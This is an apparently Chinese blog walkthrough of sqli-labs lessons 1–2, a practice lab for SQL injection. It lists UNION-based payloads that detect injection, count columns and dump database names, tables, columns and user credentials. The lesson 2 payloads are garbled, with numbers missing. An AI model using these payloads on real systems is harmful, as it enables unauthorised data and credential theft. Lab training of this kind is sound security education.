·lesson1

1.判断是否存在注入,并判断注入的类型

其实根据第一关提示

判断注入类型

输入下面的语句进行测试:

?id=' and ''='

返回界面如下图:说明存在 字符型注入

2. 使用order by 猜测SQL查询语句中的字段数

?id=' order by 3 --+

注:--+ 在这里是注释   表示注释掉后边的东西

当order by 4 的时候 发现页面报错,所以字段数为3

3.确定显示的字段显示位

?id=' and 1=2 union select 1,2,3 --+

可以看到只有第2列和第3列的结果显示在页面上,我们只有 2,3可以用,接下来我们就利用 2,3来查询数据库的信息

1)关于显示位:

我们在进行手工SQL注入的时候会用到order by 查询列数,然后通过union select 爆出在网页中的显示位。这个显示位指的是网页中能够显示数据的位置。

因为我们通过order by 知道了列数只有三列。然后在这里使用了union select 1,2,3 --+ ,网页中显示了信息2、3,说明网页只能够显示第2列和第3列中的信息,不能显示其他列的信息。也可以理解为网页只开放了2、3这个窗口,想要查询数据库信息就必须要通过这个窗口。所以我们想要知道某个属性的信息,比如admin,就要把admin属性放到2或3的位置上,这样就能通过第2列爆出admin的信息

2)关于union查询

union操作符用于合并两个或者多个select语句的结果集

(注:使用union联合查询的前提是必须要有显示位,并且两个select必有相同列、且各列的数据类型也相同。)

当 id 的数据在数据库中不存在时,即id为假,(让id=-1或者是在该关中语句id=1' and 1=2,两个 sql 语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的 union 的数据。如果我们让union之前的id=1'即为真,这时候会显示id=1'的信息并不会回显union之后的select信息:

4.爆破数据库的版本和数据库名

?id=' and 1=2 union select 1,version(),database() --+

发现版本型号以及数据库名security

5.查看所有数据库名

?id=' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

查询数据库名,发现有security数据库,该数据库中一般存放用户名和密码

6.根据数据库名爆破出该数据库中的所有表名

?id=' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

所爆破出来的列名中发现users表

7.爆破users表中的列名

?id=' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+

发现有user列和password列

8.爆破用户名和密码

?id=' and 1=2 union select 1,(select group_concat(password) from security.users),(select group_concat(username) from security.users) --+

第一关成功获取用户名和密码

·lesson2

1.与第一关不同的地方是   第一关是字符型注入,第二关是数字型注入

?id=' and 1=2

?id= --+

2.使用order by 猜测语句中的字段数

?id= order by  --+

?id= order by  --+

3.确定显示位

?id= and = union select ,, --+

4.爆破数据库的版本和数据库名

?id= and = union select ,version(),database() --+

5.查看所有数据库名

?id= and = union select ,(select group_concat(schema_name) from information_schema.schemata), --+

6.根据数据库名爆破表名

?id= and = union select ,(select group_concat(table_name) from information_schema.tables where table_schema='security'), --+

7.爆破表中列名

?id= and = union select ,(select group_concat(column_name) from information_schema.columns where table_name='users'), --+

8.爆破用户名和密码

?id= and = union select ,(select group_concat(password) from security.users),(select group_concat(username) from security.users) --+

第二关也成功获取用户名和密码

sqli-labs注入lesson1-2闯关秘籍的更多相关文章

  1. sqli-labs注入lesson3-4闯关秘籍

    ·lesson 3 与第一二关不同的是,这一关是基于错误的get单引号变形字符型注入 要使用 ') 进行闭合  (ps:博主自己理解为字符型注入,是不过是需要加括号进行闭合,适用于博主自己的方便记忆的 ...

  2. 网页闯关游戏(riddle webgame)--SQL注入的潘多拉魔盒

    前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. web开发初学者往往会忽视一些常见的漏洞 ...

  3. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  4. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  5. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  6. sql-lib闯关1-10关

    闯关之前我们需要搭建所需环境SQLi-Labs SQLi-Labs是一个专业的SQL注入练习平台,该平台包含了以下在测试场景中常见的注入类型: 1.报错注入(联合查询) ​     1)字符型 ​   ...

  7. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  8. XSS闯关游戏准备阶段及XSS构造方法

    请下载好XSS闯关文件后,解压后放在服务器的对应文件夹即可 在该闯关中,会在网页提示一个payload数值 payload,翻译过来是有效载荷 通常在传输数据时,为了使数据传输更可靠,要把原始数据分批 ...

  9. C#设计模式开启闯关之路

    前言背景 这是一条望不到尽头的编程之路,自踏入编程之路开始.就面临着各式各样的挑战,而我们也需要不断的挑战自己.不断学习充实自己.打好坚实的基础.以使我们可以走的更远.刚踏入编程的时候.根据需求编程, ...

随机推荐

  1. 使用JavaScript和Canvas打造真实的雨滴效果

    使用JavaScript和Canvas打造真实的雨滴效果 寸志 · 1 年前 我最近搞了一个有趣的项目——rainyday.js .我认为这个项目并不怎么样,而且,事实上这是我第一次尝试接触一些比弹窗 ...

  2. Codeforces 1294D - MEX maximizing

    思维,真的很巧妙啊,看了以下博客 https://www.cnblogs.com/stelayuri/p/12230033.html

  3. phpstudy后门漏洞复现php5.2

    前段时间phpstudy被人发现某些版本存在后门,许多人就这样被当作肉鸡长达两年之久 后门隐藏在程序自带的php的php_xmlrpc.dll模块 影响的版本:phpstudy2016和2018 在H ...

  4. javascript 原型链污染

    原理①javascript中构造函数就相当于类,并且可以将其实例化 ②javascript的每一个函数都有一个prototype属性,用来指向该构造函数的原型同样的javascript的每一个实例对象 ...

  5. IQueryable 转DataTable

    public static DataTable CopyToDataTable<T>(IEnumerable<T> array) { var ret = new DataTab ...

  6. ucosiii 移植

    最近想在 f429 上面使用 mdk526 版本的 IDE,配合 HAL 和ucosiii.考虑到的方法是对比 v7 开发板的 ucosiii 和裸机程序,找出需要修改的地方,然后对比 v6 开发板的 ...

  7. UVA - 10129 Play on Words(欧拉回路)

    题意:将n个单词排成一个序列,保证相邻单词相邻处字母相同. 分析:每个单词看做一条有向边,字母为点,并查集看图是否连通,因为是有向图,所以最多只能有两个点入度不等于出度,且这两个点一个入度比出度大1, ...

  8. CentOS 6.x 重置root 密码

    1.重启,进入启动界面,快速按e,进入GNU GRUB界面. 2.选择第二项,按e,进行编辑. 3.在末尾输入1或single,回车,返回上一界面,还是选第二项,按b,进入单用户模式. 此时输入命令  ...

  9. MongoDB 常用查询语法

    一.查询 find方法 db.collection_name.find(); 查询所有的结果: select * from users; db.users.find(); 指定返回那些列(键): se ...

  10. 指令——ps -ef

    一个完整的指令的标准格式: Linux通用的格式——#指令主体(空格) [选项](空格) [操作对象] 一个指令可以包含多个选项,操作对象也可以是多个. 指令:ps [process  show] 作 ...